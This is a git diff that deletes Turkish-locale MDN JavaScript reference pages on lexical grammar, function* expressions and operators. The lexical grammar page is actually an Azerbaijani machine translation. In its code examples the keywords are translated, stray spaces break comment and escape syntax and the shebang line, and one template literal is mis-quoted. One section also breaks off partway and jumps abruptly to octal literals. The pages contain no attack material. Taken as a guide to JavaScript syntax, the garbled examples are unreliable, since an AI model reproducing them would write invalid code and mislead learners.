-</ul> - -<h2 id="Additional_reference_pages">Additional reference pages</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated features</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/lexical_grammar/index.html b/files/tr/web/javascript/reference/lexical_grammar/index.html deleted file mode 100644 index 8ee4c8ea5c..0000000000 --- a/files/tr/web/javascript/reference/lexical_grammar/index.html +++ /dev/null @@ -1,374 +0,0 @@ ---- -title: Lexical grammar -slug: Web/JavaScript/Reference/Lexical_grammar -translation_of: Web/JavaScript/Reference/Lexical_grammar ---- -<p>{{JsSidebar ("Daha çox")}}</p> - -<p>Bu səhifə JavaScript-in leksik qrammatikasını təsvir edir. ECMAScript skriptlərinin mənbə mətni soldan sağa taranır və ayələr, nəzarət simvolları, xətt terminatorları, şərhlər və ya ağ boşluq olan giriş elementlərinin ardıcıllığına çevrilir. ECMAScript, həmçinin müəyyən açar sözlər və hərfləri müəyyənləşdirir və ifadələri sona çatdırmaq üçün nöqtəli vergüllərə avtomatik qoşulma qaydalarına malikdir.</p> - -<p>Nəzarət simvolları<br> - İdarəetmə simvollarının vizual nümayəndəliyi yoxdur, ancaq mətnin şərhini idarə etmək üçün istifadə olunur.</p> - -<p>Unicode formatına nəzarət simvolları<br> - Kod nöqtəsi Adı Qısaldılması Təsviri<br> - U + 200C Sıfır eni qoşulmayan <ZWNJ> Müəyyən dillərdə ligaturlara qoşulmamaq üçün simvolların arasına yerləşdirilib (Wikipedia).<br> - U + 200D Sıfır eniştiricisi <ZWJ> İşarələrin müəyyən dillərdə (Wikipedia) əlaqəli formasından istifadə olunmasına səbəb olmaq üçün ümumiyyətlə bağlanmayacaq simvollar arasında yerləşdirilmişdir.<br> - U + FEFF Bayt sifariş nişanı <BOM> Skriptin əvvəlində onu Unicode və mətnin bayt sifarişi (Wikipedia) kimi qeyd etmək üçün istifadə olunur.<br> - Ağ boşluq<br> - Ağ boşluq simvolları mənbə mətninin oxunuşunu yaxşılaşdırır və ayələrini bir-birindən ayırır. Bu işarələr ümumiyyətlə kodun işləməsi üçün lazımsızdır. Transfer edilməsi lazım olan məlumatların miqdarını azaltmaq üçün tez-tez boşluq silmək üçün minifikasiya vasitələri istifadə olunur.</p> - -<p>Ağ boşluq simvolları<br> - Kod nöqtəsi Adı Qısaldılması Təsvir Escape ardıcıllığı<br> - U + 0009 Xarakter cədvəli <HT> Üfüqi cədvəl \ t<br> - U + 000B Xətt cədvəli <VT> Şaquli cədvəl \ v<br> - U + 000C Forma yemi <FF> Səhifəni pozan idarəetmə xarakteri (Wikipedia). \ f<br> - U + 0020 Məkan <SP> Normal yer<br> - U + 00A0 Arası olmayan yer <NBSP> Normal yer, lakin xəttin qırıla biləcəyi nöqtə yoxdur<br> - Digərləri Digər Unicode kosmik simvolları <USP> Wikipedia'dakı Unicode'dakı boşluqlar<br> - Xətt terminatorları<br> - Ağ boşluq simvollarına əlavə olaraq, mənbə mətninin oxunuşunu yaxşılaşdırmaq üçün xətt terminatoru simvolları istifadə olunur. Bununla birlikdə, bəzi hallarda, xətt terminatorları JavaScript kodunun icrasına təsir göstərə bilər, çünki qadağan edilmiş bir neçə yer var. Xətt terminatorları avtomatik nöqtəli vergül daxil edilməsi prosesinə də təsir göstərir. Sətir terminatorları müntəzəm ifadələrdə siniflər tərəfindən uyğunlaşdırılır.</p> - -<p>Yalnız aşağıdakı Unicode kod nöqtələrinə ECMAScript-də xətt terminatoru kimi baxılır, digər xətt kəsici simvollara ağ boşluq kimi baxılır (məsələn, Next Line, NEL, U + 0085 ağ boşluq sayılır).</p> - -<p>Xətt terminatoru simvolları<br> - Kod nöqtəsi Adı Qısaldılması Təsvir Escape ardıcıllığı<br> - U + 000A Line Feed <LF> UNIX sistemlərində yeni xətt xarakteri. \ n<br> - U + 000D Daşımanın qaytarılması <CR> Commodore və erkən Mac sistemlərində yeni xətt xarakteri. \ r<br> - U + 2028 Xət ayırıcı <LS> Vikipediya<br> - U + 2029 Paraqraf ayırıcı <PS> Wikipedia<br> - Şərhlər<br> - Şərhlər JavaScript koduna işarə, qeyd, təklif və ya xəbərdarlıq əlavə etmək üçün istifadə olunur. Bu oxumağı və başa düşməyi asanlaşdıra bilər. Kodun icra edilməməsi üçün deaktiv edilmək üçün istifadə edilə bilər; bu dəyərli ayıklama vasitəsi ola bilər.</p> - -<p>JavaScript'də şərhə əlavə etmək üçün uzun müddətdir davam edən iki yol var.</p> - -<p>Birinci yol // şərh; bu eyni sətirdə onu izləyən bütün mətnləri bir şərh halına gətirir. Misal üçün:</p> - -<p>funksiya comment () {<br> - // Bu bir xəttli JavaScript şərhidir<br> - console.log ('Salam dünya!');<br> - }<br> - Şərh();<br> - İkinci yol daha çevik olan / * * / üslubdur.</p> - -<p>Məsələn, bir xəttdə istifadə edə bilərsiniz:</p> - -<p>funksiya comment () {<br> - / * Bu bir xəttli JavaScript şərhidir * /<br> - console.log ('Salam dünya!');<br> - }<br> - Şərh();<br> - Bununla yanaşı, çox sətirli şərhlər edə bilərsiniz:</p> - -<p>funksiya comment () {<br> - / * Bu şərh çox sətri əhatə edir. Xəbərdarlıq<br> - başa çatana qədər şərhə son qoymaq lazım deyil. * /<br> - console.log ('Salam dünya!');<br> - }<br> - Şərh();<br> - İstəsəniz, bir xəttin ortasında da istifadə edə bilərsiniz, baxmayaraq ki bu kodunuzu oxumağı çətinləşdirə bilər, buna görə ehtiyatla istifadə olunmalıdır:</p> - -<p>funksiya şərhi (x) {<br> - console.log ('Salam' + x / * x * / + '!' dəyərini daxil edin);<br> - }<br> - şərh ('dünya');<br> - Bundan əlavə, kodu bir şərhə bağlayaraq işə salmamaq üçün kodu deaktiv etmək üçün istifadə edə bilərsiniz:</p> - -<p>funksiya comment () {<br> - / * console.log ('Salam dünya!'); * /<br> - }<br> - Şərh();<br> - Bu vəziyyətdə, konsol.log () çağırışı heç bir şərh daxilində olmadığı üçün verilmir. İstənilən sayda kod xətti bu şəkildə əlil ola bilər.</p> - -<p>Hashbang şərhləri<br> - Xüsusi üçüncü bir şərh sintaksisi, hashbang comment, ECMAScript-də standartlaşdırılma mərhələsindədir (Hashbang Qrammatikası təklifinə baxın).</p> - -<p>Bir hashbang şərhini yalnız bir xətt (yalnız) şərh kimi edir. Bunun əvəzinə # ilə başlayır! və yalnız bir yazı və ya modulun mütləq başlanğıcında etibarlıdır. Nəzərə alın ki, hər hansı bir boşluq # # -dan əvvəl icazə verilmir. Şərh # sonrakı bütün simvollardan ibarətdir! birinci sətrin sonuna qədər; yalnız bir belə şərhə icazə verilir.</p> - -<p>Hashbang şərh, skriptin icrası üçün istifadə etmək istədiyiniz xüsusi JavaScript tərcüməçisinə gedən yolu göstərir. Nümunə aşağıdakı kimidir:</p> - -<p>#! / usr / bin / env node</p> - -<p>console.log ("Salam dünya");<br> - Qeyd: JavaScript-dəki Hashbang şərhləri Unix-də təqlid olunan shebangs-ləri faylları düzgün tərcüməçi ilə işlədirdi.</p> - -<p>Hashbang şərhindən əvvəl BOM bir brauzerdə işləsə də, BOM-u hasbang yazılmış bir skriptdə istifadə etmək tövsiyə edilmir. Unix / Linux-da skript işə saldığınız zaman BOM işləməyəcək. Skriptləri birbaşa işlətmək istəyirsinizsə UTF-8-ni BOM olmadan istifadə edin</p> - -<p>qabıqdan.</p> - -<p>Yalnız # istifadə etməlisiniz! JavaScript tərcüməçisini təyin etmək üçün şərh tərzi. Digər bütün hallarda sadəcə bir // şərh (və ya mulitiline comment) istifadə edin.</p> - -<p>Açar sözlər<br> - ECMAScript 2015 kimi qorunan açar sözlər<br> - {{jsxref ("Bəyanatlar / break", "break")}}<br> - {{jsxref ("Bəyanatlar / keçid", "dava")}}<br> - {{jsxref ("Bəyanatlar / çalışın ... tutun", "tutun")}}<br> - {{jsxref ("Bəyanatlar / sinif", "sinif")}}<br> - {{jsxref ("Bəyanatlar / const", "const")}}<br> - {{jsxref ("Bəyanatlar / davam et", "davam et")}}<br> - {{jsxref ("Bəyanatlar / debugger", "debugger")}}<br> - {{jsxref ("Bəyanatlar / default", "default")}}<br> - {{jsxref ("Operatorlar / silmək", "Sil")}}<br> - {{jsxref ("Bəyanatlar / etmək ... edərkən", "etmək")}}<br> - {{jsxref ("Bəyanatlar / əgər ... başqa", "başqa")}}<br> - {{jsxref ("Bəyanatlar / ixrac", "ixrac")}}<br> - {{jsxref ("Bəyanatlar / sinif", "uzanır")}}<br> - {{jsxref ("Bəyanatlar / cəhd edin ... tutun", "nəhayət")}}<br> - {{jsxref ("Bəyanatlar / üçün", "üçün")}}<br> - {{jsxref ("Bildirişlər / funksiya", "funksiya")}}<br> - {{jsxref ("Bəyanatlar / əgər ... başqa", "əgər")}}<br> - {{jsxref ("Bəyanatlar / idxal", "idxal")}}<br> - {{jsxref ("Operatorlar / ilə", "in")}}<br> - {{jsxref ("Əməliyyatçılar / instanceof", "instanceof")}}<br> - {{jsxref ("Operatorlar / yeni", "yeni")}}<br> - {{jsxref ("Bəyanatlar / qayıt", "qayıt")}}<br> - {{jsxref ("Əməliyyatçılar / super", "super")}}<br> - {{jsxref ("Bəyanatlar / keçid", "keçid")}}<br> - {{jsxref ("Əməliyyatçılar / bu", "bu")}}<br> - {{jsxref ("Bəyanatlar / atmaq", "atmaq")}}<br> - {{jsxref ("Bəyanatlar / cəhd edin ... tutun", "cəhd edin")}}<br> - {{jsxref ("Operatorlar / typeof", "typeof")}}<br> - {{jsxref ("Bəyanatlar / var", "var")}}<br> - {{jsxref ("Operatorlar / etibarsız", "etibarsız")}}<br> - {{jsxref ("Bəyanatlar / edərkən", "isə")}}<br> - {{jsxref ("Bəyanatlar / ilə", "ilə")}}<br> - {{jsxref ("Əməliyyatçılar / məhsuldarlıq", "gəlir")}}<br> - Gələcək qorunan açar sözlər<br> - Aşağıdakılar ECMAScript spesifikasiyası ilə gələcək açar sözlər kimi qorunur. Hal-hazırda onların heç bir xüsusi funksionallığı yoxdur, lakin gələcəkdə də ola bilər, buna görə identifikator kimi istifadə edilə bilməzlər.</p> - -<p>Bunlar həmişə qorunur:</p> - -<p>enum<br> - Aşağıdakılar yalnız ciddi rejim kodlarında tapıldıqda qorunur:</p> - -<p>tətbiq edir<br> - interfeysi<br> - {{jsxref ("Bəyanatlar / qoy", "qoy")}}<br> - paket<br> - özəl<br> - qorunur<br> - ictimai<br> - statik<br> - Aşağıdakılar yalnız modul kodu tapdıqda qorunur:</p> - -<p>gözləmək<br> - Gələcəkdə köhnə standartlarda qorunan açar sözlər<br> - Aşağıdakılar köhnə ECMAScript xüsusiyyətlərinə görə gələcək açar sözlər olaraq qorunur (ECMAScript 1-dən 3-ə qədər).</p> - -<p>mücərrəd<br> - boolean<br> - bayt<br> - char<br> - ikiqat<br> - final<br> - sal<br> - getmək<br> - int<br> - uzun<br> - doğma<br> - qısa<br> - sinxronizasiya olunur<br> - atır<br> - keçici<br> - uçucu<br> - Bundan əlavə, null, əsl və yalnış hərflər ECMAScript-də identifikator kimi istifadə edilə bilməz.</p> - -<p>Ehtiyat söz istifadəsi<br> - Qorunan sözlər əslində yalnız identifikatorlara aiddir (identifikator adları). Es5.github.com/#A.1-də təsvir olunduğu kimi, bunlar hamısı ReserveWords-ı istisna etməyən identifikator adlarıdır.</p> - -<p>a.import<br> - a ['idxal']<br> - a = {idxal: 'test'}.<br> - Digər tərəfdən aşağıdakılar qanunsuzdur, çünki qorunan sözlər olmadan bir identifikator adıdır. Eyniləşdiricilər FunctionDeclaration, FunctionExpression, Dəyişən Deklarasiya və s. Üçün istifadə olunur. Identifikator adları MemberExpression, CallExpression və s. Üçün istifadə olunur.</p> - -<p>funksiya import () {} // qeyri-qanuni.<br> - Xüsusi mənaları olan identifikatorlar<br> - Bəzi identifikatorların heç bir növ açar sözlər olmadan bəzi məzmunlarda xüsusi bir mənası var. Bunlara daxildir:</p> - -<p>bu sintaksis ECMAScript 2015-də yenidir, brauzer uyğunluğu cədvəlinə baxın. 0o-dan sonrakı rəqəmlər (01234567) aralığın xaricindədirsə, aşağıdakı {{jsxref ("SyntaxError")}} atılır: "0o-dan sonra itmiş səkkizbucaqlı rəqəmlər".</p> - -<p>var n = 0O755; // 493<br> - var m = 0o644; // 420</p> - -<p>// Yalnız bir aparıcı sıfır ilə mümkündür (yuxarıdakı onluğa dair qeydə baxın)<br> - 0755<br> - 0644<br> - Altıbucaqlıdır<br> - Hexadecimal nömrə sintaksisində kiçik və ya böyük hərfli Latın "X" (0x və ya 0X) hərfinin ardınca aparıcı sıfır istifadə olunur. 0x-dən sonra rəqəmlər aralığın xaricindədirsə (0123456789ABCDEF), aşağıdakı {{jsxref ("SyntaxError")}} atılır: "Identifikator rəqəmli hərfdən dərhal sonra başlayır".</p> - -<p>0xFFFFFFFFFFFFFFFFF // 295147905179352830000<br> - 0x123456789ABCDEF // 81985529216486900<br> - 0XA // 10<br> - BigInt hərfi<br> - {{Jsxref ("BigInt")}} növü JavaScript-də ixtiyari dəqiqliklə tam ədədləri təmsil edə bilən ədədi ibtidai. BigInt hərfləri tam ədədin sonuna n əlavə etməklə yaradılır.</p> - -<p>123456789123456789n // 123456789123456789<br> - 0o777777777777n // 68719476735<br> - 0x123456789ABCDEFn // 81985529216486895<br> - 0b11101001010101010101n // 955733<br> - Qeyd edək ki, yalnız bir lider sıfır olan köhnə səkkizbucaqlı rəqəmlər BigInt üçün işləməyəcək:</p> - -<p>// 0755n<br> - // SyntaxError: etibarsız BigInt sintaksisi<br> - Səkkizbucaqlı BigInt nömrələri üçün hər zaman sıfırdan sonra "o" hərfi ilə (böyük və ya kiçik hərf) istifadə edin:</p> - -<p>0o755n<br> - BigInt haqqında daha çox məlumat üçün JavaScript məlumat strukturlarına da baxın.</p> - -<p>Sayısal ayırıcılar<br> - Rəqəmsal hərflərin oxunuşunu yaxşılaşdırmaq üçün alt nöqtələrdən (_, U + 005F) ayırıcı kimi istifadə edilə bilər</p> - -<p>// onluq sayda ayırıcılar<br> - 1_000_000_000_000<br> - 1_050.95</p> - -<p>// ikili nömrələrdə ayırıcılar<br> - 0b1010_0001_1000_0101</p> - -<p>// səkkizbucaqlı ədədlərdə ayrıcılar<br> - 0o2_2_5_6</p> - -<p>// hex ədədlərindəki ayırıcılar<br> - 0xA0_B0_C0</p> - -<p>// BigInts-də ayırıcılar<br> - 1_000_000_000_000_000_000_000n<br> - Bu məhdudiyyətlərə diqqət yetirin:</p> - -<p>// Bir dəfədən çox alt qeyd etməyə icazə verilmir<br> - 100__000; // Söz düzümü səhvi</p> - -<p>// Rəqəmsal hərflərin sonunda icazə verilmir<br> - 100_; // Söz düzümü səhvi</p> - -<p>// 0-dan sonra istifadə edilə bilməz<br> - 0_1; // Söz düzümü səhvi<br> - Obyekt hərfləri<br> - Əlavə məlumat üçün {{jsxref ("Obyekt")}} və Obyekt başlatıcısına da baxın.</p> - -<p>var o = {a: 'foo', b: 'bar', c: 42};</p> - -<p>// stenoqram notation. ES2015-də yenidir<br> - var a = 'foo', b = 'bar', c = 42;<br> - var o = {a, b, c};</p> - -<p>// əvəzinə<br> - var o = {a: a, b: b, c: c};<br> - Sıra hərfləri<br> - Əlavə məlumat üçün {{jsxref ("Array")}} da baxın.</p> - -<p>[1954, 1974, 1990, 2014]<br> - Simli hərflər<br> - Sətir hərfi sıfır və ya daha çox və ya ikiqat tirnoqla əlavə olunmuş Unicode kod nöqtələridir. Unicode kod nöqtələri də bir qaçış ardıcıllığı ilə təmsil oluna bilər. Bütün bağ nöqtələri sözün həqiqi kod nöqtələri istisna olmaqla hərfi mənada bir simli olaraq görünə bilər:</p> - -<p>U + 005C \ (arxa cığır),<br> - U + 000D <CR>,<br> - və U + 000A <LF>.<br> - Bütün JSON mətnini etibarlı ECMA-262, U + 2028 <LS> və U + 2029 <PS> etiketli etmək təklifindən əvvəl də simli hərflərdə görünməməsi qadağan edildi.</p> - -<p>Hər hansı bir kod nöqtəsi qaçış ardıcıllığı şəklində görünə bilər. String hərfləri ECMAScript String dəyərlərini qiymətləndirir. Bu Sətir dəyərlərini yaradan zaman Unicode kod nöqtələri UTF-16 kodlanır.</p> - -<p>'foo'<br> - "bar"<br> - Hexadecimal escape ardıcıllığı<br> - Hexadecimal escape ardıcıllığı, 0x0000 ilə 0x00FF aralığında bir kod vahidi və ya kod nöqtəsini təmsil edən iki iki altıbucaqlı rəqəmin ardınca \ x ibarətdir.</p> - -<p>'\ xA9' // "©"<br> - Unicode qaçış ardıcıllığı<br> - Unicode qaçış ardıcıllığı tam olaraq dörd altıbucaqlı rəqəmlərdən ibarətdir \ u. UTF-16 kodlaşdırmada bir kod vahidini təmsil edir. U + 0000 ilə U + FFFF kod nöqtələri üçün kod vahidi kod nöqtəsinə bərabərdir. U + 10000 ilə U + 10FFFF kod nöqtələri, xarakteri kodlamaq üçün istifadə olunan iki kod vahidini (bir surroqat cütü) təmsil edən iki qaçış ardıcıllığını tələb edir; surroqat cütlüyü kod nöqtəsindən fərqlidir.</p> - -<p>Buna da baxın: {{jsxref ("String.fromCharCode ()")}} və {{jsxref ("String.prototype.charCodeAt ()")}}.</p> - -<p>'\ u00A9' // "©" (U + A9)<br> - Unicode kod nöqtəsi qaçır<br> - Unicode kod nöqtəsindən qaçış \ u {, ardından altıbucaqlı bazada kod nöqtəsi, ardınca} daxil edilir. Altıbucaqlı rəqəmlərin dəyəri 0 ilə 0x10FFFF arasında olmalıdır. U + 10000 ilə U + 10FFFF arasındakı kod nöqtələrinin surroqat cütü kimi göstərilməsinə ehtiyac yoxdur. Kod nöqtələrinin qaçışları ECMAScript 2015 (ES6) -də JavaScript-ə əlavə edildi.</p> - -<p>Buna da baxın: {{jsxref ("String.fromCodePoint ()")}} və {{jsxref ("String.prototype.codePointAt ()")}}.</p> - -<p>'\ u {2F804}' // CJK uyğunluğu İDEOĞRAF-2F804 (U + 2F804)</p> - -<p>// eyni xarakterli bir surroqat cütü olaraq təmsil olunur<br> - '\ uD87E \ uDC04'<br> - Daimi ifadə hərfi<br> - Əlavə məlumat üçün {{jsxref ("RegExp")}} də baxın.</p> - -<p>/ ab + c / g</p> - -<p>// Bir "boş" müntəzəm ifadə<br> - // Boş tutmayan qrup lazımdır<br> - // tək sətirli şərhlərlə qeyri-müəyyənliyə yol verməmək.<br> - / (?:) /<br> - Şablon hərfləri<br> - Daha çox məlumat üçün şablon iplərinə baxın.</p> - -<p>`simli mətn`</p> - -<p>`simli mətn xətti 1<br> - simli mətn xətti 2`</p> - -<p>`string mətni $ {ifadə} simli mətn '</p> - -<p>etiketli "string mətni $ {ifadə} string mətni"<br> - Avtomatik nöqtəli vergül<br> - Bəzi JavaScript ifadələri nöqtəli vergul ilə dayandırılmalı və buna görə də</p> - -<p>avtomatik nöqtəli vergül daxil edilməsindən təsirləndi (ASI):</p> - -<p>Boş bəyanat<br> - qoy, const, dəyişən bir ifadə<br> - idxal, ixrac, modul bəyannaməsi<br> - İfadə ifadəsi<br> - debugger<br> - davam etmək, qırmaq, atmaq<br> - qayıtmaq<br> - ECMAScript spesifikasiyası nöqtəli vergül daxil edilməsinin üç qaydasını xatırladır.</p> - -<p>1. Bir xətt terminatoru və ya "}" ilə qarşılaşdıqda, qrammatika tərəfindən icazə verilməyən nöqtələrə vergül qoyulur.</p> - -<p>{1 2} 3</p> - -<p>// ASI tərəfindən çevrilir</p> - -<p>{1 2;} 3;<br> - 2. Ayələr giriş axınının sonu aşkar edildikdə və analizator bir giriş axını tam bir proqram olaraq təhlil edə bilmədikdə son nöqtəyə nöqtə qoyulur.</p> - -<p>Burada ++ dəyişən b tətbiq olunan bir postfiks operatoru kimi qəbul edilmir, çünki b və ++ arasında bir xətt terminatoru meydana gəlir.</p> - -<p>a = b<br> - ++ c</p> - -<p>// ASI tərəfindən dəyişdirilir</p> - -<p>a = b;<br> - ++ c;<br> - 3. Sonunda nöqtə vergül qoyulur, qrammatikada məhdud məhsullar olan bir söz bir xətt terminatoru izlədikdə. "Burada LineTerminator yoxdur" qaydaları olan bu ifadələr:</p> - -<p>Postfiks İfadə (++ və -)<br> - davam edin<br> - fasilə<br> - qayıtmaq<br> - gəlir, gəlir *<br> - modul<br> - qayıtmaq<br> - a + b</p> - -<p>// ASI tərəfindən çevrilir</p> - -<p>qayıtmaq;<br> - a + b;<br> - Texniki şərtlər<br> - Xüsusiyyət<br> - {{SpecName ('ESDraft', '# sec-ecmascript-language-leksik-qrammatika', 'Leksik qrammatika')}}<br> - Brauzer uyğunluğu<br> - Bu səhifədəki uyğunluq cədvəli strukturlaşdırılmış məlumatlardan hazırlanmışdır. Verilənlərə töhfə vermək istəyirsinizsə, lütfən https://github.com/mdn/browser-compat-data-ya baxın və bizə bir sorğu göndərin.<br> - {{Compat ("javascript.grammar")}}</p> - - -<p><br> - Həmçinin bax<br> - Jeff Walden: İkili və səkkizbucaqlı ədədlər<br> - Mathias Bynens: JavaScript xarakter qaçış ardıcıllığı<br> - {{jsxref ("Boolean")}}<br> - {{jsxref ("Sayı")}}<br> - {{jsxref ("RegExp")}}<br> - {{jsxref ("Sətir")}}</p> diff --git a/files/tr/web/javascript/reference/operators/function_star_/index.html b/files/tr/web/javascript/reference/operators/function_star_/index.html deleted file mode 100644 index bf871854a4..0000000000 --- a/files/tr/web/javascript/reference/operators/function_star_/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: function* expression -slug: Web/JavaScript/Reference/Operators/function* -translation_of: Web/JavaScript/Reference/Operators/function* -original_slug: Web/JavaScript/Reference/Operatörler/function* ---- -<div>{{jsSidebar("Operators")}}</div> - -<p>The <strong><code>function*</code></strong> keyword can be used to define a generator function inside an expression.</p> - -<div>{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}</div> - - - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">function* [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) { - <em>statements</em> -}</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>name</code></dt> - <dd>The function name. Can be omitted, in which case the function is <em>anonymous</em>. The name is only local to the function body.</dd> - <dt><code>paramN</code></dt> - <dd>Argüman adıdır, bir fonksiyon maxiumum 255 argüman alır.</dd> - <dt><code>statements</code></dt> - <dd>Fonksiyon kodları.</dd> -</dl> - -<h2 id="Açıklama">Açıklama</h2> - -<p>A <code>function*</code> expression is very similar to and has almost the same syntax as a {{jsxref('Statements/function*', 'function* statement')}}. The main difference between a <code>function*</code> expression and a <code>function*</code> statement is the <em>function name,</em> which can be omitted in <code>function*</code> expressions to create <em>anonymous</em> generator functions. See also the chapter about <a href="/en-US/docs/Web/JavaScript/Reference/Functions">functions</a> for more information.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<p>Aşağıdaki adlandırılmamış fonksiyondur ve gelen değer karesini verir.</p> - -<pre class="brush: js">var x = function*(y) { - yield y * y; -}; -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#', 'function*')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#', 'function*')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - - - -<p>{{Compat("javascript.operators.function_star")}}</p> - -<h2 id="Bakabilirsiniz">Bakabilirsiniz</h2> - -<ul> - <li>{{jsxref("Statements/function*", "function* statement")}}</li> - <li>{{jsxref("GeneratorFunction")}} object</li> - <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li> - <li>{{jsxref("Operators/yield", "yield")}}</li> - <li>{{jsxref("Operators/yield*", "yield*")}}</li> - <li>{{jsxref("Function")}} object</li> - <li>{{jsxref("Statements/function", "function statement")}}</li> - <li>{{jsxref("Operators/function", "function expression")}}</li> - <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/operators/index.html b/files/tr/web/javascript/reference/operators/index.html deleted file mode 100644 index 1163323350..0000000000 --- a/files/tr/web/javascript/reference/operators/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: İfadeler ve operatörler -slug: Web/JavaScript/Reference/Operators -translation_of: Web/JavaScript/Reference/Operators -original_slug: Web/JavaScript/Reference/Operatörler ---- -<div>{{jsSidebar("Operators")}}</div> - -<p>Bu döküman bütün JavaScript ifadelerini,operatörlerini ve anahtar kelimeleri içerir.</p> - -<h2 id="Expressions_and_operators_by_category">Expressions and operators by category</h2> - -<p>For an alphabetical listing see the sidebar on the left.</p> - -<h3 id="Birincil_İfadeler">Birincil İfadeler</h3> - -<p>Genel İfadeler ve basit anahtar kelimeler.</p> - -<dl> - <dt>{{jsxref("Operators/this", "this")}}</dt> - <dd>The <code>this</code> keyword refers to the function's execution context.</dd> - <dt>{{jsxref("Operators/function", "function")}}</dt> - <dd>The <code>function</code> keyword defines a function expression.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/class", "class")}}</dt> - <dd>The <code>class</code> keyword defines a class expression.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/function*", "function*")}}</dt> - <dd>The <code>function*</code> keyword defines a generator function expression.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/yield", "yield")}}</dt> - <dd>Pause and resume a generator function</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/yield*", "yield*")}}</dt> - <dd>Delegate to another generator function or iterable object.</dd> - <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt> - <dd>Array initializer/literal syntax.</dd> - <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt> - <dd>Object initializer/literal syntax.</dd> - <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt> - <dd>Regular expression literal syntax.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt> - <dd>Array comprehensions.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt> - <dd>Generator comprehensions.</dd> - <dt>{{jsxref("Operators/Grouping", "( )")}}</dt> - <dd>Grouping operator.</dd> -</dl> - -<h3 id="Left-hand-side_expressions">Left-hand-side expressions</h3> - -<p>Left values are the destination of an assignment.</p> - -<dl> - <dt>{{jsxref("Operators/Property_accessors", "Property accessors", "", 1)}}</dt> - <dd>Member operators provide access to a property or method of an object<br> - (<code>object.property</code> and <code>object["property"]</code>).</dd> - <dt>{{jsxref("Operators/new", "new")}}</dt> - <dd>The <code>new</code> operator creates an instance of a constructor.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/super", "super")}}</dt> - <dd>The <code>super</code> keyword calls the parent constructor.</dd> - <dt>{{experimental_inline}} {{jsxref("Operators/Spread_operator", "...obj")}}</dt> - <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd> -</dl> - -<h3 id="Increment_and_decrement">Increment and decrement</h3> - -<p>Postfix/prefix increment and postfix/prefix decrement operators.</p> - -<dl> - <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt> - <dd>Postfix increment operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt> - <dd>Postfix decrement operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt> - <dd>Prefix increment operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt> - <dd>Prefix decrement operator.</dd> -</dl> - -<h3 id="Unary_operators">Unary operators</h3> - -<p>A unary operation is operation with only one operand.</p> - -<dl> - <dt>{{jsxref("Operators/delete", "delete")}}</dt> - <dd>The <code>delete</code> operator deletes a property from an object.</dd> - <dt>{{jsxref("Operators/void", "void")}}</dt> - <dd>The <code>void</code> operator discards an expression's return value.</dd> - <dt>{{jsxref("Operators/typeof", "typeof")}}</dt> - <dd>The <code>typeof</code> operator determines the type of a given object.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt> - <dd>The unary plus operator converts its operand to Number type.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt> - <dd>The unary negation operator converts its operand to Number type and then negates it.</dd> - <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt> - <dd>Bitwise NOT operator.</dd> - <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt> - <dd>Logical NOT operator.</dd> -</dl> - -<h3 id="Arithmetic_operators">Arithmetic operators</h3> - -<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</p> - -<dl> - <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt> - <dd>Addition operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt> - <dd>Subtraction operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt> - <dd>Division operator.</dd> - <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt> - <dd>Multiplication operator.</dd> - 